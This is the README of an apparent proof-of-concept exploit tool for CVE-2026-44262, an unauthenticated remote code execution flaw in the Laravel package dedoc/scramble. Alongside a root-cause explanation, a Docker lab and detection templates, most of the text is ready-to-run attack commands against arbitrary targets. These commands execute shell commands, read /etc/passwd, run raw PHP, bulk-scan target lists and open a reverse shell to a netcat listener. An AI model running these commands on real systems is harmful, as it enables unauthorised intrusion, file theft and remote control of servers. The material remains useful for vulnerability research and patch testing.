dedoc/scramble RCE (CVE-2026-44262) PoC

📜 Description

CVE-2026-44262 is an unauthenticated Remote Code Execution vulnerability in dedoc/scramble, a Laravel API documentation generator.

NodeRulesEvaluator::doEvaluateExpression() calls extract($variables) before eval("return $code;"). When a controller assigns $request->input() to a variable named $code and uses it as a validation rule, Scramble tracks that variable and passes it into the eval scope. An attacker can overwrite $code with arbitrary PHP by supplying a crafted query parameter to /docs/api.json.

Affected versions: dedoc/scramble >=0.13.2, <0.13.22

✨ Features

• Auto-detection — scans OpenAPI spec to discover vulnerable parameters automatically
• Timing probe — safe non-breaking check using sleep() to confirm eval fires
• Command execution — run shell commands and capture output directly from the HTTP response
• File read — read arbitrary files from the target filesystem
• PHP code execution — execute raw PHP code via the RCE
• Reverse shell — PHP proc_open reverse shell, no bash or busybox required
• Bulk scanning — scan multiple targets from a file
• OS detection — auto-detects Windows/Linux/Darwin and adjusts payloads accordingly
• Nmap NSE — passive + timing detection script (http-scramble-rce-detect.nse)
• Nuclei template — two-step detection with timing confirmation (CVE-2026-44262.yaml)

🛠️ Installation

No external dependencies — uses Python stdlib only.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ Usage

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

Detection

# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt

Exploitation

# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap & Nuclei (passive + timing, no exploitation)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Docker Lab

A self-contained Docker environment with the vulnerable app (dedoc/scramble v0.13.21) is included. See docker/DOCKER.md for details.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 References

• dedoc/scramble
• GitHub Advisory — GHSA-4rm2-28vj-fj39
• NVD — CVE-2026-44262
• HackIndex.io — CVE-2026-44262

📢 Disclaimer

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by this tool.